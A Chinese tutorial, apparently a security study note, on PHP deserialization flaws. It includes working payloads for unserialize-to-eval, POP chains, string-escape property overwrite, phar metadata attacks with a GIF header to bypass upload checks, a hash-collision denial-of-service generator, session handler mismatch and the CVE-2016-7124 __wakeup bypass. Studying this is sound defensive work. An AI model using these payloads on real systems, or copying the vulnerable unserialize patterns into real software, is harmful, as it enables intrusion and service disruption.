php反序列化知识点总结
0x01 什么是(反)序列化
序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
反之 反序列化也就是把符合规则的字符串或者说状态信息重新重新拿出来使用,使之重新变为一个对象或者其他。
其中主要的就是两个函数 serialize() unserialize()
serialize()
: 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$a = new person();
echo serialize($a); //O:6:"person":2{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
?>
unserialize()
: 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$a = new person();
$s = serialize($a);
var_dump($s);
$u = unserialize($s);
$u->name = 'Jack';
echo '</br>'.$u->name.'</br>';
var_dump($u);
?>
序列化以后内容的信息就不做过多的解释 还是比较浅显易懂的 总而言之 (反)序列就是在对象与字符串之间的转换 将对象保存为可存储的内容
0x02 魔法方法
魔法方法指的是在php执行某个过程或函数时会调用的方法
__construct()
:在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct()
: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString()
:当对象被当做一个字符串使用时调用。
__sleep()
:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup()
:反序列化恢复对象之前调用该方法
__call()
:当调用对象中不存在的方法会自动调用该方法。
__get()
:在调用私有属性的时候会自动执行
__isset()
:在不可访问的属性上调用isset()或empty()触发
__unset()
:在不可访问的属性上使用unset()时触发
说这么多文字不利于理解 直接程序里看看
<?php
class test{
public $demo = 'demo1';
public function to_print(){
echo 'name:'.$name.'---age:'.$age.'</br>';
}
public function __construct() {
echo 'i am __construct()</br>';
}
public function __destruct() {
echo 'i am __destruct(): ';
echo $this->demo.'</br>';
}
public function __toString() {
return 'i am __toString()</br> ';
}
public function __sleep() {
echo 'i am __sleep()</br>';
return Array('demo');
}
public function __wakeup() {
echo 'i am __wakeup()</br>';
}
}
echo '$P = new test();</br>';
$P = new test();
echo "</br>echo \$P;</br>";
echo $P;
echo "</br>serialize(\$P);</br>";
$s = serialize($P);
echo "</br>unserialize(\$s);</br>";
$u = unserialize($s);
$u->demo = 'demo2';
?>
创建一个对象
$P = new test();
i am __construct()
i am __destruct(): demo1
输出:
$P = new test();
i am __construct()
echo $P;
i am __toString()
i am __destruct(): demo1
先执行__construct()
其中有将对象输出 执行__toString()
再执行__destruct()
销毁demo1
序列化
echo '$P = new test();</br>';
$P = new test();
echo "</br>serialize(\$P);</br>";
$s = serialize($P);
输出:
$P = new test();
i am __construct()
serialize($P);
i am __sleep()
i am __destruct(): demo1
先执行__construct()
再执行序列化需要的方法__sleep()
然后__destruct()
销毁demo1
反序列化
echo '$P = new test();</br>';
$P = new test();
echo "</br>serialize(\$P);</br>";
$s = serialize($P);
echo "</br>unserialize(\$s);</br>";
$u = unserialize($s);
echo "</br>\$u->demo = 'demo2'; </br>";
$u->demo = 'demo2';
输出:
$P = new test();
i am __construct()
serialize($P);
i am __sleep()
unserialize($s);
i am __wakeup()
$u->demo = 'demo2';
i am __destruct(): demo2
i am __destruct(): demo1
执行反序列化恢复对象前调用的方法__wakeup()
然后 __destruct()
分别销毁demo2和demo1
0x03 反序列化漏洞
0x01 直接反序列化
<?php
class A{
function __destruct(){
eval($this->test);
}
}
$a = $_GET['test'];
$u = unserialize($a);
?>
A类中存在魔法方法__destruct()
并且直接调用eval函数 我们只需要构造一个A类并且控制其中test的值即可实现任意代码执行
<?php
class A{
public $test = 'system("whoami");';
}
$a = new A();
echo serialize($a); //O:1:"A":1{s:4:"test";s:17:"system("whoami");";}
?>
0x02 POP链
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,原理是从现有的运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。
POP链的基本概念是寻找程序当前环境中已经定义或者能够动态加载的对象中的属性(函数方法),将一些可能调用组合在一起形成一个完整的具有目的性的操作。
关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。在我的理解就是把原有的函数重写了
__construct()
对象o指向新建对象normal() __destruct()
指向normal()中的action()
<?php
class A {
protected $o;
function __construct() {
$this->o = new normal();
}
function __destruct() {
$this->o->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['test']);
重写__construct()
使其对象指向evil类 并且将$data
重新赋值
<?php
class A{
protected $o;
function __construct() {
$this->o = new evil();
}
}
class evil {
private $data = 'system("whoami");';
}
$a = new A();
echo urlencode(serialize($a)); //为防止特殊字符转义 将输出url编码
?>
urlencode()
最主要的原因是protected属性的会使用%00*%00
来表示 因此使用urlencode()
防止其丢失
0x03 原生类利用
当在没有合适的pop链时可以利用php自带的原生类
__call()
__call()
:当调用对象中不存在的方法会自动调用该方法。
<?php
class test{
public $demo = 'demo1';
public function __call($name, $args) {
echo 'i am __call()</br>';
}
}
$P = new test();
$s = serialize($P);
$u = unserialize($s);
echo 'echo \$u->flag();</br>';
echo $u->flag();
?>
输出:
echo $u->flag();
i am __call()
__toString()
playload
<?php
echo serialize(new Exception("<script>alert('xss')</script>"));
?>
0x04 反序列化字符逃逸
0x01 预备知识
知识点1
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$P = new person();
$s = serialize($P);
echo $s.'</br>';
var_dump(unserialize($s));
$s_1 = $s.'abcd';
echo '</br>'.$s_1.'</br>';
var_dump(unserialize($s_1));
?>
输出:
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
object(person)#2 (2) { ["name"]=> string(3) "Bob" ["age"]=> int(18) }
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}abcd
object(person)#2 (2) { ["name"]=> string(3) "Bob" ["age"]=> int(18) }
通过上面的例子可以看出 在序列化后的字符串后面加任意字符并不影响反序列化后的输出
在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
知识点2
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$P = new person();
$s = serialize($P);
echo $s.'</br>';
$s = 'O:6:"person":2:{s:5:"name";s:3:"Bob";s:3:"age";i:18;}';
unserialize($s);
?>
输出:
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
Notice: unserialize(): Error at offset 26 of 53 bytes in /serialize.php on line 11
当长度与字符实际长度不符 会报错
知识点3
<?php
class person{
public $name = 'Bob';
public $age = 18;
}
$P = new person();
$s = serialize($P);
echo $s.'</br>';
$s = 'O:6:"person":3:{s:4:"name";s:3:"Bob";s:3:"age";i:18;s:6:"height";i:180;}';
var_dump(unserialize($s));
?>
输出:
O:6:"person":2:{s:4:"name";s:3:"Bob";s:3:"age";i:18;}
object(person)#2 (3) { ["name"]=> string(3) "Bob" ["age"]=> int(18) ["height"]=> int(180) }
可以反序列化类中不存在的元素
0x02 字符串变长
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='Bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
输出:
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:3:"Bob";s:4:"pass";s:3:"123";}
123
以上代码限制了输入的内容 当输入x时会替换为yy 若被替换则会出现知识点2的情况报错
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='Bobx';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
输出:
O:1:"A":2:{s:4:"name";s:4:"Bobx";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:4:"Bobyy";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 56 bytes in \out.php on line 17
但是正因为这样我们就可以构造出playload来满足修改pass的值 在知识点1中知道了 ; 作为字段的分隔,以 } 作为结尾 在}以后的字符都不会影响反序列化
要将pass改为456 则需要构造";s:4:"pass";s:3:"456";}
其中有24个字符
x变为yy 为原来的2倍长度 因此我们构造的playload x的数量应该为24 当他变为原来的两倍 时 正好与没加倍时name的长度相同 便可以在后面构造pass的值
<?php
function filter($str){
return str_replace('x', 'yy', $str);
}
class A{
public $name='xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo $c->pass;
?>
输出:
O:1:"A":2:{s:4:"name";s:48:"xxxxxxxxxxxxxxxxxxxxxxxx";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":2:{s:4:"name";s:48:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456
0x03 字符串变短
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='Bob';
public $user='bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
输出:
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:3:"Bob";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
123
限制了不能输入test 否则将会被替换为空 然后报错
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='test';
public $user='bob';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
输出:
O:1:"A":3:{s:4:"name";s:4:"test";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:4:"";s:4:"user";s:3:"bob";s:4:"pass";s:3:"123";}
Notice: unserialize(): Error at offset 31 of 72 bytes in \out_1.php on line 18
我们可以看到name的内容为空 但是大小为4
相当于我们要闭合掉";s:4:"user";s:3:"
的内容 后面是可控的user的值 共18个字符
但是如果我们在user后面一般会为两位数19个字符
取4的倍数 20 即5个test
在后一个参数补齐20个 即20-19=1个字符 然后在后面加上";
来闭合
<?php
function filter($str){
return str_replace('test', '', $str);
}
class A{
public $name='testtesttesttesttest';
public $user='a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}';
public $pass='123';
}
$a=new A();
$s = serialize($a);
echo $s;
$res=filter($s);
echo '</br>after filter:</br>';
echo $res;
$c=unserialize($res);
echo '</br>';
echo $c->pass;
?>
输出:
O:1:"A":3:{s:4:"name";s:20:"testtesttesttesttest";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
after filter:
O:1:"A":3:{s:4:"name";s:20:"";s:4:"user";s:46:"a";s:4:"user";s:3:"bob";s:4:"pass";s:3:"456";}";s:4:"pass";s:3:"123";}
456
0x05 phar反序列化
0x01 关于phar
先看看官方给的解释
phar://和php://filter 、data://等流包装一样,都是将一组php文件打包,并创建默认执行的标志(stub)
phar://的标志(stub) 为 xxx<?php xxxxx; __HALT_COMPILER();?>
,标志一定是以__HALT_COMPILER();?>
结尾
0x02 生成phar包
注意:在生成Phar包时要将php.ini中的 phar.readonly 设置为Off
<?php
class Test {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o -> data='abc';
$phar->setMetadata($o); //将自定义的metadata存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
在同目录下生成了phar.phar文件 用winhex打开
0x03 验证
可以看到metadata的数据被序列化了 既然这里存在序列化 那打开的时候必然存在反序列化
验证一下
<?php
class Test{
public function __construct() {
echo 'i am __construct()</br>';
}
public function __destruct() {
echo 'i am __destruct(): ';
echo $this->data.'</br>';
}
public function __toString() {
return 'i am __toString()</br> ';
}
public function __sleep() {
echo 'i am __sleep()</br>';
return Array('demo');
}
public function __wakeup() {
echo 'i am __wakeup()</br>';
}
}
include('phar://phar.phar');
?>
输出:
i am __wakeup()
i am __destruct(): abc
0x04 利用
0x01 直接利用
- 有上图所示可利用函数
- 有可直接利用的魔法方法或pop链
- 函数参数可控,并且可以输入特殊字符
:、/、phar
<?php
class Test{
public function __destruct() {
echo 'i am __destruct(): ';
echo $this->data.'</br>';
}
}
include('phar://phar.phar');
?>
输出:
abc
0x02 绕过幻术头检测
在有些上传文件的地方会检测文件头,在上面的性质中我们知道辨认phar文件只认标志(stub) 因此可以在生成文件时在stub加上我们想要的文件头 生成文件后修改文件后缀 即可绕过很多文件上传检测
$phar -> setStub('type_head'.'<?php __HALT_COMPILER();?>');
//type_head为文件头 如gif为GIF89a
0x03 哈希表碰撞攻击
在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击。
构造一串恶意的serialize数据(能够触发哈希表拒绝服务攻击),然后将其保存到phar文件的metadata数据区,当文件操作函数通过phar://协议对其进行操作的时候就会触发拒绝服务攻击漏洞。
playload生成:
<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new stdClass;
$new_obj->hacker = $array;
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');
?>
//copy from: chaMd5---blackhat议题深入 | phar反序列化
//https://cloud.tencent.com/developer/article/1350367
0x06 session反序列化
0x01 关于session
session_start()
当会话自动开始或者通过 session_start()
手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION
超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID
(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
存储机制
php中的session以文件的方式来存储的,存储方式就是由配置项session.save_handler
来确定,默认是以文件的方式存储。
存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列话后的内容。
0x02 不同序列化处理器
session.serialize_handler
session.serialize_handler 定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP PHP 内部格式 (名为 php 及 php_binary) 和 WDDX (名为 wddx)。
自 PHP 5.5.4 起可以使用 php_serialize。 php_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 php 和 php_binary 所具有的限制。
<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['edd1e'] = $_GET['a'];
var_dump($_SESSION);
?>
查看不同类型下序列化的字符串
php: edd1e|s:3:"abc";
php_serialize: a:1:{s:5:"edd1e";s:3:"abc";}
php_binary: edd1es:3:"abc";
0x03 利用
Session的实现是没有的问题,但Session序列化引擎配置使用不当就会造成利用
以php_serialize格式来存储,用php机制来读取
存储session
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['edd1e'] = $_GET['a'];
var_dump($_SESSION);
?>
读取session
<?php
ini_set("session.serialize_handler", "php");
session_start();
class test {
public $data;
function __wakeup(){
echo $this->data;
}
}
?>
生成playload
<?php
class test {
public $data = 'hack';
}
$o = new test();
echo serialize($o);
?>
O:4:"test":1:{s:4:"data";s:4:"hack";}
将playload前面加上 |
输入到session里
打开读取session页面输出构造的内容
因为在php模式下 格式为键名+竖线+经过serialize0函数反序列处理的值
储存的session字符串为:a:1:{s:5:"edd1e";s:38:"|O:4:"test":1:{s:4:"data";s:4:"hack";}
反序列化的就是后面的字符串 所以成功输出
可以看看输出页面的session:
array(1) {
["a:1:{s:5:"edd1e";s:38:""]=>
object(test)#1 (1) {
["data"]=>
string(4) "hack"
}
}
0x07 wakeup失效
CVE-2016-7124:如果存在__wakeup
方法,调用 unserilize()
方法前则先调用__wakeup()
方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()
的执行
漏洞影响版本:PHP5 < 5.6.25 PHP7 < 7.0.10
<?php
class test{
public $name = 'edd1e';
public function __destruct() {
echo 'i am __destruct()</br>';
}
public function __wakeup() {
echo 'i am __wakeup()</br>';
}
}
//$a = new test();
//echo serialize($a);
// O:4:"test":1:{s:4:"name";s:5:"edd1e";}
$s = 'O:4:"test":1:{s:4:"name";s:5:"edd1e";}';
unserialize($s);
?>
当反序列化字符串正常时 输出:
i am __wakeup()
i am __destruct()
当对象属性个数的值大于真实的属性个数时
// O:4:"test":1:{s:4:"name";s:5:"edd1e";}
$s = 'O:4:"test":2:{s:4:"name";s:5:"edd1e";}';
并没有执行__wakeup()
方法 __wakeup()失效
tips:字符串中O:4
与O:+4
效果相同 可以进行绕过